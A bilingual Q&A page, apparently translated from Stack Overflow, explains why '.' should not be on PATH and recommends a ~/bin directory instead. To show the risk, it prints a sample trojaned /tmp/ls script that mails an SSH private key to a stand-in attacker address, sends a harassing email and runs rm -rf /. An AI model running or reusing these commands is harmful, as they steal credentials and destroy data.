为什么我必须使用绝对路径来执行 Bash 脚本? [英] Why do I have to use an absolute path to execute Bash scripts?
问题描述
我的桌面上有一个名为 highest 的 Bash 脚本.
I have a Bash script on my desktop called highest.
如果我跑:
cd ~/Desktop
highest
我得到:找不到命令
但是如果我跑:
~/Desktop/highest
它执行得很好.但是为什么我的命令行在正确的目录下还是需要使用绝对路径?
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
我猜这与 $PATH 变量有关.就像我需要向它添加类似 ./ 的东西.如果是这样，我该如何添加?我还不习惯 Linux，遇到这种情况时会很困惑.
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
推荐答案
我同意 @Dennis 的说法.不要添加'.'到您的路径.这是一种安全风险，因为它会使破解者更有可能覆盖您的命令.有关好的解释，请参阅 http://www.linux.org/docs/ldp/howto/Path-12.html .
I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
例如，假装我是一个破解者，我创建了一个像/tmp/ls 这样的木马文件，就像这样.假设这是在大学或其他地方的共享系统上.
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
如果您在/tmp 目录中并执行 'ls' 命令会发生什么?如果 PATH 包含 .，那么您将执行/tmp/ls ，而您的真正意图是使用/bin/ls 中的默认ls".
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
相反，如果您想执行自己的二进制文件，请显式调用脚本(例如 ./highest)或创建您自己的 bin 目录，这是大多数用户所做的.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
添加您自己的 ~/bin 目录，并将您自己的二进制文件放入其中.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
然后，修改您的 PATH 以使用您的本地二进制文件.将 .bashrc 中的 PATH 语句修改为如下所示.
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
导出路径=$PATH:~/bin
export PATH=$PATH:~/bin
要验证 highest 是您的路径，请执行以下操作:
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
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